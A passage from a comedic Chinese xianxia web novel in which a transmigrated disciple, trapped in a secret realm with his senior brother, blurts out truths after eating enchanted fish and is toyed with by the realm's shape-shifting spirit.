在说什么gay里gay气的话啊!!!!
“不是,大师兄!我不是这意思!”齐舒玉慌乱地解释道:“我的意思是……师兄你对我有求必应,进秘境的时候抱着我有魔兽的时候护着我安慰我还舍身帮我试毒指不定是看上我这张脸想勾引我呢——”
“啊啊啊啊啊不是啊,不是——虽然你胸大但硬得很我不太喜欢。”齐舒玉从震惊到瞳孔大地震逐渐面如死灰,捂不住嘴,根本捂不住嘴,那些乱七八糟的话从哆哆嗦嗦的嘴缝里漏出来:“别以为我不知道你是想打造男妈妈人设。”
他闭上眼,
不敢再看云岁鸿的脸色。
急得团团转的泪水和临终遗言一起掉落到了地上。
“真骚。”
……良久。
“对不起大师兄,我、我也不知道为什么讲这些大实话,”齐舒玉闭着眼狂吼一声,转身朝黑暗中跑去:“我、我不想活了,现在我就往外跑,你可千万要拉住我啊!”
哦豁。
“大师兄你真是狗啊,都不……动的。”
在踏出火光的一刹那,
无数双闪着幽幽红色光点浮在半空中。
难以估量的巨大身影层层叠叠地蛰伏在浓浓黑夜中,几乎形成了屏障的兽腥气和恶臭味扑面而来。
最主要的是,
浑身上下的细胞都在告诉他。
它们,
与升级为真正的‘魔族’,只有一线之隔。
到目前为止,
齐舒玉都没和这种级别的魔兽靠如此近过。
一双长腿仿佛被钉在了原地。
他的出现像是掉落饥饿狼群周围的新鲜肉块,引得那些庞然大物发出阵阵躁动和厚重的鼻息。
齐舒玉大脑一片空白。
嘴唇哆哆嗦嗦地碰撞着,
却发不出声音来。
感觉像是过了几辈子那么久,衣领被狠狠往后一拽,整个人跌落进火光里。
他这时候才反应过来,
扑腾着站起来去拔云岁鸿无时不刻背在身后的剑。
细白的手腕被一把捏住。
“嗷嗷嗷嗷哥!靠——哥,手要断了!你松手松手!我不是故意的,魔兽来了啊啊啊啊啊!”
高大挺拔的温雅男子被狠戾的公鸭叫打得往后偏了偏头,松开手闪到旁边去:“抱歉,霰月不喜他人气息。”
“现在不是聊天的时候!哥,”齐舒玉哪还有心思在乎一把剑喜不喜欢自己,抓着云岁鸿就要跑,手忙脚乱地比划着小声嗷嗷叫:“跑吧哥,没骗你,你也看到了吧,魔兽来了!愣着干嘛!”
云岁鸿身形稳如泰山,反手把他揪回来,淡淡道:“齐师弟,此为传闻中的玄明火,在它点燃的火光之内,无论活物死物,魔兽皆与之无感。”
哦哦。
对哦。
齐舒玉大大地喘了几口粗气。
修真界不比谁跑得快。
只比谁的命好。
难怪前几天都没见到这些丑魔兽,
现在知道原因了。
真好。
差点误以为是自己转运了。
“哥你怎么不早点说,”齐舒玉的眼泪‘啪嗒’一声掉下来,绝处逢生似的又往篝火里添了一大批柴火,火星子旺到差点烧焦他眉毛,被烟呛了好几口,这才混身瘫软下来,抱着云岁鸿的手臂,贴着他把眼泪往他肩膀上擦:“呜呜呜差点给弟弟吓尿了!”
能在魔兽世界里随身带着结界。
真是他的好哥哥!!
“老公!”齐舒玉声嘶力竭道:“我再也不乱跑了,咋俩今天把日子过好比什么都强。”
云岁鸿默不作声地把手拔出来。
失去支撑的青年脸色惨白。
他腿软地跌坐在男人脚边抽抽嗒嗒道:
“下次哥你救我能不能再快点,粗.暴点也行的,我能承受的。”
泪水糊满脸的齐舒玉总觉得云岁鸿看自己的眼神有点古怪。
——不像是一个男妈妈该有的矜持样。
哎。
哭多了果然很伤眼睛。
“话说回来,哥你到底用的什么熏香,真的好香。”
**
下半夜齐舒玉睡得比前两天都不踏实。
结界还是那个结界。
身边的男人还是那个男人。
但经历过大风大浪后心境总归有了变化。
齐舒玉抱着云岁鸿的大腿,酸麻的下巴在他膝盖上蹭了蹭,迷迷糊糊道:“大师兄,你骨头真硬。”
云岁鸿动动腿,反被抱得更紧。
他用了点力气把软塌塌的齐舒玉提起来。
“师弟,有人来了。”
“怎、怎么了?”齐舒玉睡眼惺忪地瞥见云岁鸿少见的神情严肃,不由脊背一凉,噤声学他侧耳倾听。
但什么也没听到。
在小说里。
一旦半夜有事,
那就是天大的事。
他用口型紧张地问云岁鸿来者是敌是友。
因为嘴巴抖得太厉害,云岁鸿没看懂,他就又问了一遍。
云岁鸿的目光放在他唇上,
眉头越来越紧。
齐舒玉的心砰砰跳。
……是敌人。
申墨说前一百五十人,如果在秘境里被人打成重伤,即便抢先出去,
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也失去参赛资格了。
魔兽看不见这火光,
不一定人看不见。
所以只要有人到了这附近,就肯定会来查看。
云岁鸿和齐舒玉在坤元剑派内都是叫得上名字的弟子,走路上蒙着脸说不定也能被认出,目标及其明显。
但现在,
没有灵力加持的齐舒玉好比失去外挂的菜鸡成精。
只靠云岁鸿必定陷入双拳难敌四手的地步。
可灭火的话,
又不知道有多少魔兽等着吃他们!
齐舒玉的额头渗出冷汗。
云岁鸿叹口气:“师弟,我不善唇语……你有话但说无妨。来者远隔数公里之遥,若非我天生有异,想来也是听不见的。”
他妈的。
原来小说作者说云岁鸿能‘耳听八方眼观六路’是物理层面的意思!
还一直以为是夸他聪明呢!
这年头穿书人有点文化真不好混。
齐舒玉揉了揉眼睛。
觉没睡够,
双眼干涩酸痛的感觉特别明显。
怎么都缓和不过来。
他再一次擦去止不住的泪液:“师兄能听得出来人是谁么?”
“似是薛师弟和上官师妹。”
——警报解除。
之前下山的一两个月里,天天睁眼上官玲珑、闭眼薛殷,进秘境之后没碰见他俩,齐舒玉多少还是有些不习惯。
可不知道为什么,
这会儿听到两人的消息时齐舒玉心跳特别快。
焦躁得坐不住。
好像在期待什么。
他狠狠咬了一口自己的拳头试图冷静下来。
没用!
已经心乱到感觉不到自己有多痛了!
几息之间,
他脑子里忽然嗡鸣一声。
……小鹿乱撞的心跳,
……足以忘记疼痛的思念。
不是暗恋是什么?!
齐舒玉眼睛越睁越大。
老天!
上官玲珑是纸片人啊!!
哥怎么可能!
至少不应该暗……
呃,
话又说回来了。
上官玲珑那么漂亮,身材又好……呃,还行吧,实力背景也没话说。
除了脑子有问题,
完全没缺点啊。
况且喜欢纸片人也很正常吧。
别的男人不也这样?
齐舒玉瞬间挺直胸板,把手从嘴里拿出来,往后拨弄起双耳和额头的碎发。
下一秒。
瞥见旁边的高大身影还在原地,他暗生警惕道:“云岁鸿,你也该到哪凉快哪呆着的时候了吧。”
云岁鸿没有多问什么,
静静地看了会目光有些敌视的青年。
点点头,
回去坐下阖上了眼。
盯着他入睡,齐舒玉才放下心来,但也时刻谨记云岁鸿的告诫,把焦急的步伐尽大努力保持在火光和黑夜的交界线上,
偶尔脖子探出去张望也会迅速缩回来。
等待上官玲珑的时间十分漫长。
久齐舒玉开始重新规划和上官玲珑的新婚生活方式时,
才听到了凌乱的脚步声和少女的啜泣声。
“呜呜呜呜薛哥哥你撑住,那里有火光,我们去找师兄师姐帮忙!”
齐舒玉:……
差点忘记。
竞争压力有点大。
那个病痨臭小白脸会闹自杀,
会装可怜。
手段高得很!
8. 吐血
空气中少女飘来的哭泣声几乎压抑不住。
“薛哥哥!薛哥哥你怎么了?!”
回答她的只有膝盖磕地声和隐忍闷哼声。
齐舒玉叹口气。
没什么好问的吧。
姓薛的这小子不是经常在吐血吗。
他压低声音询问上官玲珑:“小师妹?!你怎么样?你有受伤吗?!”
“齐师兄?!”
上官玲珑的哭声一顿,转而惊喜起来:“齐师兄,快来帮帮薛哥哥吧,他受了好重的伤!”
听起来他们之间距离不远。
上官玲珑的声音又像只无依无靠的小猫咪。
齐舒玉咬牙冲了出去。
夜色中,
连月亮也格外偏袒那一对脸上沾染血迹的姝丽佳人。
他们发光的美貌完全不用导航也能看到。
少年单膝跪在泥泞之中,唇角绷成近乎一条直线,脸色苍白,大颗大颗的汗从额角滴落,紧紧抓着简易拐杖的手背青筋暴起。
察觉到来人的靠近,
他眯着眼仔细辨认了一番,又垂下头偏过脸去,喉结微微滚动。
殷红的鲜血从嘴角渗出。
蛮吓人的反正。
齐舒玉不敢多停留在外,
之前那些魔兽这会儿不知去向,但保不齐在哪里盯着他这块香喷喷的小蛋糕。
迅速将薛殷拄着拐的手臂往自己肩膀上一绕,揽着他的腰轻轻往上一提,半扶半抱着把人往前带。
掂着手里的分量,
齐舒玉几乎对日后的大魔王产生了怜悯心。
啧啧啧,
隔三差五吐血,
瘦得腰都快没了。
待重新回到火光中,
齐舒玉砰砰跳的心才算是平复了些。
“云师兄!”上官玲珑喜出望外:“您也在这里呀!”
见到云岁鸿之后,
上官玲珑眼底的凝重烟消云散。
齐舒玉有种被戴绿帽子的危机感。
“嘘——让他睡。”
“啊?大师兄睡着了吗?”
“不知道,但他年纪大了,你别惦记他了。我们聊我们的。”
上官玲珑抿了抿唇。
“哦”了声,乖乖点头。
这三天里,
上官玲珑和薛殷完全是在刀尖舔血。
两人不分昼夜地被各种魔兽追逐,身边也没有趁手的武器,根本无力反杀,只能东逃西窜。幸好那些魔兽体型巨大又笨重,一时间拿树林里的两人毫无办法,才勉强残喘下来。
“师兄你们呢?”
齐舒玉望了眼上衣几乎都被撕光拿去包扎的薛殷,卖惨的话实在说不出口,小声哼唧:“……过得还不错。”
上官玲珑了然又羡慕:“云师兄对齐师兄可真好。”
“……”
怎么这话听起来怪怪的?
不过齐舒玉确实反驳不了。
“齐师弟,上官师妹,”因为上官玲珑是女生不方便而齐舒玉不会包扎的缘故,又被叫醒起来帮忙的云岁鸿打断两人谈话,合拢薛殷破破烂烂的衣服:“薛师弟虽无毒侵迹象,但旧伤未愈添新伤,体力不支,需要大量草药内服外用才行。”
他语气严肃道:“上官师妹精通医药,可否劳你与我同去。”
上官玲珑当即点头答应:“我没问题!”
云岁鸿又对齐舒玉道:“那薛师弟就交由齐师弟照看了,不必担心,此地十分安全,魔兽不会近身。”
齐舒玉看了看地上半昏迷的薛殷,
不说话。
魔兽已经近身了,大师兄!
反正薛殷是不可能出事的,不如你自己随便在外面逛一逛,成全一下我和小师妹吧。
他在紧要关头捏住了自己冲动的嘴皮子。
云岁鸿沉吟片刻后拿出张符纸:“之前的传音符师弟已用尽。现在受长垣秘境的限制,我仅能召唤出这一张,师弟务必多加小心。”
齐舒玉目光黏着上官玲珑,不情不愿地收下符纸,皱起脸。
“那……我也没问题?”
云岁鸿拍了拍他的肩,
和上官玲珑消失在黑夜中。
直到那抹纤细曼妙的身影彻底消失不见,齐舒玉才叹口气,丧气地在薛殷不远处坐下来。
同样流浪几天,上官玲珑就算鼻子上蹭了点灰,发丝里夹杂着碎草,看上去也还是香香软软的。
至于地上这男的。
又沾血又沾土的,
闭着眼睛都知道他身上有几天没洗澡的汗臭味。
想到这里。
刚刚碰过他的齐舒玉都想冲出去洗洗手了。
他换了姿势,
撅着屁股趴在石头上打了个哈欠。
眼前总像是蒙着一层看不清的黑雾。
太困了。
他手动把眼皮又撑开了点。
睡肯定不敢睡的。
大半夜一个血淋淋的伤员就在跟前,怎么看都有点瘆人。
但很快。
齐舒玉张大嘴巴。
更渗人的场景出现了!
躺在地上半死不活的薛殷突然间坐了起来,朝旁边大口大口地吐血。
并非以往那种一两口一两口,吐着玩似的。
是很大口的血。
鲜红、浓稠、源源不断。
还夹杂了些奇怪的碎肉块。
“!!!!!”
齐舒玉的瞌睡虫跑得一干二净,背上寒毛全都竖了起来,感觉鼻子里全是血腥味。
“我、我靠……兄弟你没事吧。”
他颤颤巍巍地小声问了句,手软脚软地挣扎了几下才爬过去。
手悬在空中,也不知道该不该给他拍个背。
犹豫之中。
手腕被湿乎乎的掌心包裹住了。
少年原本就苍白到极致的皮肤蒙上一层灰灰雾雾的黯淡色泽,满脸是血,双目通红,死死盯着齐舒玉。
犹如从地狱里爬出来的厉鬼。
他清润的嗓音变得晦涩沙哑,像是尖锐的颗粒磨在粗糙的砂纸上。
齐舒玉听不出他在说什么,
小心翼翼地靠过去。
薛殷顿了顿,一字一句道。
“师兄,帮帮我。”
没来由地。
齐舒玉不好的预感直冲天灵盖,身子颤抖不止。
“我、我、我我我我咋、咋咋咋咋咋咋帮帮?”
少年又是一口血吐了出来。
他四肢并用地从血泊里爬起来。
拽着齐舒玉跌跌撞撞地往外走。
“我知道草药在哪里,但我没有力气。你帮我好吗,师兄,你帮我。”
齐舒玉含泪把他扯回来。
“大师兄让我们呆在这里,外面更危险!”
薛殷完全不听,拽着齐舒玉的力气越来越大,吐着血重复道:
“我在吐血,我快死了。师兄,我快死了。”
正常人吐了这么多血后哪里来的力气?!
很可能。
是他血脉觉醒的迹象。
书里提到过。
魔族血脉在觉醒初期时,会如同雏鸟,对身边人本能地产生出信赖感,且终生不可磨灭。
“别动了!”
齐舒玉壮着胆子呵斥一声。
薛殷果然停了下来。
乖得很。
不知道为什么,
齐舒玉腿也不抖了,害怕中又隐隐有点快当爹的兴奋感。
他大着胆子挣脱薛殷的手,
反揽住对方往篝火旁拖。
那一双没有焦距的双眸看了看腰间,又看了看齐舒玉。
黑得像滩死水。
少年声音嘶哑:“我会死在这里的,师兄。”
“你不会死在这里的,你现在很健康,”齐舒玉比他还坚信道:“像头牛一样。”
“我要去找鸣月草。”
“你什么草都不用去找。”
“我快死了,师兄。”
“不会的!”齐
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舒玉打断他,试图把他摁回地上去:“你看你,大惊小怪,不就吐了点血?多正常啊!你不知道吗,人家女孩子每个月都要流点血出来的,哪有你这么……呃……矫情?”
少年又是一口血喷了出来,正中齐舒玉的胸襟。
暖暖的。
很贴心。
少年仰起头,
黑漆漆的眼珠子静静注视着面容清隽的青年。
齐舒玉皱了皱眉。
深吸一口。
虽然吐得有些过于夸张了。
但在小说里。
这点致死量应该不是什么问题吧!
“……没关系,弟弟……虽然,嗯——
师兄知道你不一定是故意的,而且在这种时候,说这种话,或许有些不讲男徳……”
齐舒玉很难为情地打探薛殷的表情。
小心斟酌着用词。
少年仍然安静。
但微动的眼神让他不再看上去是一个濒死之人。
更像等待大人接话的小孩,
乖巧又好奇。
“……呆会儿你能不能往旁边吐啊,哥不太会洗衣——”
话没说完。
少年又倏地站起来,拽着他往外走。
力气比之前更甚。
齐舒玉一个踉跄,
差点摔到薛殷身上。
他呼吸一滞,
都怕自己现在就把薛殷砸死!
“停下来!薛殷!——听到了吗?!薛殷!我让你停下来!”
可这回少年没理他。
沙哑的声音如同恶魔在低语。
“我在吐血,我快死了。师兄,你要帮我。”
他再一次重复着这句话。
步履沉重。
“那你就在这里吐!”齐舒玉使出浑身解数也掰不开他的手,急得大叫:“你就在这里吐!别出去!你吐这么多次还没习惯吗?!”
电光一闪。
齐舒玉想起还有张云岁鸿给的符纸。
急急忙忙掏出来后,脸色变得煞白。
他妈的没灵力啊!
一个没有信号的手机怎么打电话?!
少年似乎感应到什么了。
回过头看见齐舒玉捏着的符纸,鼻子嗅了嗅,强硬地从他手中拽走,塞进嘴里咽了下去。
???
!!!!
齐舒玉震惊了!
顺便震怒了!
手机没信号不等于可以让小孩儿吃掉这唯一的手机!!
偏偏他用力打出去的拳头,
也被少年轻轻松松接了下来。
少年将青年两手腕并拢,仅用一只手就捏住了。
在齐舒玉错愕的瞬间,
将他拉到了黑暗的边缘。
空气中厚重浓稠的腥臭味似乎卷土重来。
齐舒玉差点把隔夜饭吐出来。
生怕惊动了林中的某一只魔兽,他把脚后跟插进土里,使出吃奶的劲和薛殷拔河,几乎是用气音在劝告:“回去吧弟弟,你看你这使不完的牛劲,要死也是你哥我先死吧!”
魔兽吃不吃魔兽不知道。
反正一般都会吃人。
薛殷还是头很铁地拉着他要去送死。
眼见脚尖都快出线了。
齐舒玉心一横,扎了个马步,
抬起他的手就往下啃。
手腕上的力量此时却突然消失。
齐舒玉在预感到不妙的同时,整个人被狠狠推到地上,痛得眼前一黑。
“他妈的……”他咬紧后槽牙:“小兔崽子,你果然不是什么好东西。”
反正薛殷这家伙是死不了的,
爱去哪去哪吧,不管了!
……
齐舒玉记得自己昏迷前还听到很大声的嘲笑。
他为自己的温柔善良默哀了一下,
愤愤爬了起来——
一颗没有发缝的高颅顶头冷不丁撞进齐舒玉怀里。
“呜呜呜呜齐师兄!你终于醒了!”
9. 真心话
齐舒玉一脸懵地看着怀里柔柔弱弱的上官玲珑。
举起来的手不知道该放在哪里才好。
薛殷推那一下这么狠吗?
让他昏这么久?
“师妹?你们回来了?薛殷呢?”他左右张望了一下,天色已然大亮:“大师兄呢?”
“我不知道他们在哪,”
上官玲珑泫然若泣:“自从进入秘境之后,我只看到你一个人躺在这里,而且你已经昏迷半日有余了。”
“你在说什么啊?”齐舒玉皱眉:“我和师兄昨天晚上遇到你们的时候,薛殷伤太重,你不是和大师兄去给他找草药了吗?”
“昨天你们走后那场景实在太可怕了,”
他心有余悸道:“他吐血吐得像老黄牛反刍。”
腰间搭上的一双小手有些用力。
齐舒玉顿时心猿意马。
“师兄,那都是梦!”
上官玲珑仰着清纯俏丽的脸蛋:“长垣秘境的传送阵杂乱无章,师兄怎么可能和云师兄相遇呢?”
????
梦?
齐舒玉一头雾水。
他抬手正要掐自己大腿,
就被上官玲珑在腰间狠狠一拧。
“嗷嗷嗷嗷嗷嗷嗷嗷嗷唔——!”
一只柔弱无骨的小手把巨大的惨叫声堵了回去。
上官玲珑趴在他胸膛上,眨了眨水汪汪的眼睛,声音软糯:“师兄小心点,别把魔兽引来了!”
“师妹你力气怎么这么大?!”齐舒玉捧着两行清泪,不可置信地后退一步:“难道我和大师兄的那几天…真的是梦?”
“师兄还不信玲珑吗?”
上官玲珑又贴了上来,钻进他怀里:“玲珑怎么可能会骗师兄呢!”
齐舒玉偏头。
视线模糊地与她对视。
被他安安静静地盯着好一会儿,上官玲珑神色有了变化:“你……”
齐舒玉打了个大大的哈欠,哽咽着继续道:“问你个问题,你觉得薛殷、云岁鸿、申墨和我,谁最有男子气概?”
“师、师兄你在说什么呀?!”
上官玲珑脸上的扭曲一闪而过,搅着手向后抬脚含羞道:“当然是你嘛!”
“我也是这么觉得的。”
齐舒玉欣慰道:“你眼光不错啊。”
见上官玲珑目光幽幽不说话,
他摆摆手。
“也罢,爱上哥是每个女人的宿命。”
他扶着上官玲珑的肩把她拨开,用渣男的口吻道:“但你要忍着点知道不?墨君山不允许弟子私下什么授受的,万一被哪个嫉妒我的low货看见,我的前途就完了。”
“明白吗?”
“明白!”
少女娇俏的脸上没有丝毫嗔怪,
只有善解人意的乖巧。
“方才太担心师兄了,”上官玲珑收回手,将发丝勾到耳后,不好意思地笑笑:“现在师兄醒了,我们该怎么办呀!”
齐舒玉沉思片刻。
“咱走两步看看吧,我怕你待会儿走路走不利索。”
“好的,我都听师兄的!”
上官玲珑笑得又甜又软,惹得齐舒玉忍不住看了好几眼,声音都夹起来了:“那我们走吧?一会儿看老子不把你这个暗恋清纯少男的老妖婆踹出……”
他神色惊恐地把怀中人推出去。
面容娇媚的少女回眸一笑。
五官未变,
脸庞却透露出几分阴森:“你发现了?”
齐舒玉咽了口口水。
“倒是本尊大意了,看着这般蠢模蠢样的,竟也能察觉被入梦。”
少女勾起唇角,伸手给自己变出宝座,懒懒靠在椅背上,翘着二郎腿一晃一晃:“先说说怎么发现的?”
“原来我在做梦,”
齐舒玉啊吧啊吧着原地躺下,双手叠放盖在肚脐眼上,安祥地闭上眼睛:“恶灵退散!”
‘上官玲珑’手一紧,
碎掉的椅子扶手发出巨响,又重新变回原样。
“蠢货!没有本尊允许,你以为自己出得了梦境吗,不信的话大可再碰自己试试。就算是你的梦境,也只受本尊约束。”
齐舒玉轻戳自己的小脸蛋,
心里叹口气。
回去就举报这些写封建迷信小说的。
虽然这个老妖婆审美品味不错,
但男人是要就事论事的。
“那你开个条件吧,”齐舒玉打算先稳住她:“反正我会嘴上答应等出去就摇人来抓你。”
他瞳孔地震。
死嘴!
怎么灵敏过头了?
“不必大惊小怪。”少女的宝座绕着他飞起来,眼神戏虐:“这河里全是吐真鱼,凡是活物吃下了,可没有言不由衷一说。”
“也太扯了吧还有这种设定,”齐舒玉冷酷无情道:“缅甸进修过的诈骗犯也想骗我切我现在就要装作一点也不相信的样子不说话……”
好吧。
勉强信她一回。
“药效多久啊老妖婆!她一定不会说吧我想的这招激将法她一定会上当吧可恶啊但是我说出来了……”
“嗯,”少女点头:“本尊不说。”
齐舒玉的脸红了又白。
稳住,
还有Plan EFGH!
“总之,以你的修为短时内是克化不了的,”‘上官玲珑’顶着下巴回忆道:“真能吃,跟申墨以前送进来的肥猪一样。”
奇耻大辱!
“你放屁吧,几只巴掌大点的鱼,老子最近都在减肥,食量很小的。”被这么污蔑,是可忍,叔不能忍婶婶也不能忍,他无能狂怒道:“你为什么要顶着别人的脸说话,是不是自己没脸见人?!”
“也可以这么说,”
‘上官玲珑’赞赏道:“本尊就是长垣,真身早就和秘境融为一体了。”
“连这里的一根草,也可以是本尊的样貌。”
齐舒玉:“……”
好震惊。
但想想自己是在小说里好像又没那么震惊了。
“没被吓到么?怎么和你那些同门不太一样?”长垣歪了歪头道:“他们听完本尊的话,要么不敢喘气,要么不自量力。”
“没你有意思。”
她眯起眼摩挲着下巴,唇角的趣味更盛:“申墨总算给本尊送了个解闷的小东西来,”
齐舒玉没说话。
主要它顶着上官玲珑这张脸,
实在很像老熟人装逼。
“这般罢,”她一锤定音道:“本尊随时都能再开一次秘境,放你同门们出去,你留下来陪本尊吧。”
“你能打开秘境?”
齐舒玉想起他就是秘境本人的身份,把惊讶打消了:“申墨不会找你麻烦吗?”
“不足为惧,”长垣回答地十分自信高贵:“申墨不过是吓唬你们罢了,用不了几天,你们若还是破不开秘境,他也会求本尊把你们都弄出去。”
“?这么简单?那我留下来要做什么?”
“随你心意。若你还想吃那些鱼,本尊就捉来给你吃,如果想玩那些个魔兽,也拿去玩罢。”
……听起来娱乐方式还蛮穷酸的。
“你要关我多久?”齐舒玉心念一动道:“如果是到论道大会结束的话我举双手双脚赞成毕竟我也不想去。”
“既然你不愿,以后都不去罢,陪本尊玩个五百年如何?”
五百年?!!!
牢底都穿了!
齐舒玉立刻不情愿起来:“我不要!我最多在这里呆十天,等他们名单定好我就出去!”
“十天?!不过本尊伸个懒腰的功夫。”长垣冷哼:“至少也要等到下次申墨亲启秘境。”
“不要。”
“由不得你说不要。”
少女一展笑颜,
妖娆诡谲。
“本尊这就去知会申墨,要你留下来。”
“你有病吧,我不……”
话音未落,长垣的身形便消散于风中。
视野中又是一片漆黑。
齐舒玉猛然睁开眼。
手里还紧紧抱着只大腿。
他抬起手用衣袖擦了擦唇角的口水,仰头看去。
男人正在闭目养神。
或许是他气质淡然,向来留给人温润如玉的印象,这会儿离近了看,深邃英朗的五官愈发鲜明。
帅是帅的。
但操心的时候跟老妈子附体似的,
男的太婆婆妈妈了也不好。
齐舒玉悄悄戳了戳这只大腿肉。
硬邦邦的。
石头一样。
他戳了戳自己的,
软硬适中。
不由心下了然,
长垣还真是玩得一套接一套的。
起身蹑手蹑脚起身找了根大粗棍子,绕到‘云岁鸿’后方高高举起敲了下去——!!!
……
怎么说呢。
被一拳掀翻的时候齐舒玉倒也不是很意外。<
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余光瞄见霰月紧接着刺向自己眉心,他顾不得剧痛的下巴,赶紧朝旁边打了个滚爬起来。
“我靠,哥们儿你真要杀我?”
‘云岁鸿’握着霰月的手一顿,
眼睫微垂。
“你到底要玩什么,又变成云岁鸿样子干嘛?!”
他抹了把痛出来的眼泪:“差点把你爹我打哭了好吗?”
‘云岁鸿’收起剑。
笑了一下。
但笑意未达眼底。
这让他的样子看起来非常奇怪,
在黑夜中陡然滋生出三分邪气来。
“这回倒是将我那师弟的行事作风学了个九成,”他神色漠然,居高临下:“看来你也入过他的梦了。”
“?”
齐舒玉踌躇。
“你真是我大师兄?”
白衣剑士道了声无趣,
直接提剑刺了过来。
那眼神,
深如寒渊。
俨然在看一具破败不堪的尸体。
齐舒玉在这半人多高的大刀剑下吱哇乱叫着满地翻滚爬行。
“啊啊啊啊啊啊我信!我信你是我大师兄还不行吗?!”
“大师兄是我!是我是我真的是我!”
“——啊啊啊长垣——长垣哥!别玩我了!!”
“聒噪的模样倒是不逊色于他。”
齐舒玉气喘吁吁地被踩住,
趴在地上不动弹。
“我真逃不动了,大哥,呼——放过我吧,你知道,我很少说自己不行的。”
“不必玩这些花样,”
云岁鸿淡淡道:“申墨不会允许坤元剑派几千名门内弟子葬身于此,只要你想,随时可以再开秘境——我只需尽早脱离,说出你的条件。”
齐舒玉艰难回头瞥了他一眼,呲着牙笑得如释重负:“真是你啊!大师兄!”
他挣扎着要起身。
云岁鸿松了脚上的劲。
却仍盯着他不说话。
“我是活的!有心跳!”齐舒玉哐哐拍着胸:“大师兄修为那么高,应该能听到我的心跳声!”
“看来你是魔族?”
云岁鸿语气不冷不热,甚至又有了拔剑的趋势:“魔族也擅用魔气幻化人心。”
“呃……”
云岁鸿是杀魔狂人诶!
被他当作魔族会死得更快吧。
齐舒玉撩起衣摆假装擦汗。
垂下的目光微凝。
真男人。
敢于在困难面前不怕牺牲!
他霍然抬头,指着自己小兄弟急中生智:“大师兄!我观察过,一般魔族没有这个!你要不信,可以过来摸摸我的!它们会立起来!”
云岁鸿一顿。
拔剑的速度停了下来。
“不过你力气不能太大,”齐舒玉警告道:“都是男人,你懂的。”
魔族和人类最大的区别,
就在于,
它们不是人类。
再怎么模仿,也模仿不到细节。
“而且我有腿毛,大师兄你要看看吗?!”
生怕矜持古板的带刀剑士不好意思看,会开口拒绝他,齐舒玉迅速撩起裤腿。
“你看!虽然我底子白是白了点,但不影响……”
他默默放下裤腿。
“容我解释一下。
——最近睡得晚,有点脱毛。”
他不气馁,手放在腰带上,咬牙道:“但我这里,该有的毛还是有的。”
“不必了,师弟。”
云岁鸿将霰月重新背在身后,唇角勾起:“我对魔族的观察并没有这般仔细。或许师弟还有其他的证明吗?”
齐舒玉捏着自己的耳垂冥思苦想了一下。
把脸凑上去努嘴道:“他们的皮肤硬得像石头,师兄你摸我的,又软又滑!”
云岁鸿大笑出声。
看着呆头呆脑愣在原地的青年,高大的剑士两步上前,用食指和无名指夹住青年的脸颊,揉面团似的用力往两边扯。
“魔族心狠手辣,哪有师弟这般生动有趣。”
他的目光紧紧锁住青年白嫩的眉眼,意味深长:“师弟的性子与从前大相径庭。”
齐舒玉心里咯噔一声。
尽快痛得眼泪快飙出来了,还是忍着不说话,嘿嘿笑了两声。
……
怪不得要等女主升级之后才有和云岁鸿的对手戏,就他这力气,和女主拉个手都能把她拉成骨裂吧!
10. 女人
“申墨,本尊要向你讨一名弟子。”
“何人。”
“一个单木灵根,他很有趣,本尊甚是欢喜。”
“不可。”
“怎的不可?你有那么多弟子,为何不能送予本尊一个?!”
紫衣男子深眸幽幽,
衣袂无风自动。
半晌,他冷哼一声。
“长垣,你胃口真是越来越大了。”
——
“曾偶然听掌门师尊提起过,长垣来自虚妄之界,非人非仙非魔,天生喜欢迷惑人心。擅于效仿,”云岁鸿拍了拍齐舒玉的肩:“师弟不必思虑过度,既然长垣受制于师祖,应当不会主动伤害门内弟子的。”
齐舒玉脸色依旧不太好。
大师兄真是站着说话不腰疼。
他又没有被长垣看上,
当然安全得很。
眼看一天又要结束,两人依旧没找到离开秘境的线索,齐舒玉又累又饿。
“大师兄,你知道这河里的鱼是什么鱼吗?”
“不知,”云岁鸿的鱼叉被握住,神色不解道:“师弟知么?”
“嗯……长垣说过了,”齐舒玉欲言又止:“反正、反正别吃……呃,别给我吃就好。”
他又不是傻的,
如果告诉云岁鸿这些都是吐真鱼,以后还怎么用煤气中毒来解释昨天晚上那些话?!
虽然眼下只能说点非他本意的真心话,
但还可以选择不说啊!
齐舒玉冲云岁鸿竖起大拇指。
“我真是该死的聪明啊!”
云岁鸿笑笑。
看起来很难接上他的真心话。
齐舒玉心思很重地把云岁鸿从河里拉走,可越远离河流,越是连颗腐烂的野果都见不到了。担心空腹睡觉有害健康的自律大男孩终于忍不住提出分头行动。
云岁鸿似乎有些犹豫。
好家伙!
他不舍得和我分开!
齐舒玉表面不显,内心实则隐隐触动。
“大师兄你可别被我迷得走不动道奥。”他微笑道:“如果不给钱的话我钢铁直。”
说完,
他扇了自己俩嘴巴子。
又安静了。
云岁鸿经过他好几轮疯言疯语后明显已经适应良好,自动屏蔽他的话后郑重其事道:“师弟身无灵力……若我们二人分头行动,怕日后难与白师伯交代。”
难交代是什么意思。
难道他说我不行????
齐舒玉“唰”地黑脸。
胸前一口气差点没吊上来,
跺着脚不管不顾地往林子里扎。
扎了五十米后他又直起身板,扭头,冰冷严肃地发出警告:“我再跟你说一遍哈,不能对男人说不行!”
“师弟……”
“别叫了!我在生气!我要证明自己!——你也赶紧去给我找点吃的吧万一是我真的不行会被饿死的!”
顶着口气走出老长一段距离。
直到气消得差不多了,
齐舒玉才意识到自己肚子咕噜咕噜叫得很大声。
饿。
太饿了。
在他意识到那股抓心挠肝的燥意时,饥饿感瞬间吞噬了他的脑子,胃里激烈的烧灼在一点点蔓延进骨子里去,“饿得眼冒金星”这种形容词完美地具现化。
二十出头,正是长身体的时候,有这么强的饥饿感很正常的吧?
心神不宁地没走两步,
齐舒玉膝盖一抖,在厚密绵软的草地上失去平衡,挥着手冲了出去。
呃……
“麻师弟?”
自从下山历练完,
齐舒玉就没见到小树林里和他一起躲魔兽的麻子脸师弟了。
他忍着饿,优雅地从这位师弟脚尖前爬起来,拍掉脸上的泥土,矜持一笑:“好久不见。”
见师弟的随身剑还插在旁边一个不大不小的土坑里,齐舒玉立刻大加赞赏:“师弟你太会想办法了!师兄怎么没想到?!这秘境确实很适合种菜!”
“齐师兄?”
对方站起来。
语气里听不出久别重逢的喜悦。
齐舒玉偏头。
愣了一下。
士别三日当刮目相看。
短短时间内,麻子脸师弟竟然冷酷不少,
和那天夜里蹲在齐舒玉腿边聊天的温顺模样大相径庭。
生活,
将他磨出了锋利的棱角。
锋利的棱角还戳破了他的衣角。
“多日不见,”他斜着眼:“齐师兄还是这般贵人多忘事,师弟不姓麻。”
齐舒玉一下子被他盛气凌人的态度唬住。
麻子脸师弟看着年纪不小了。
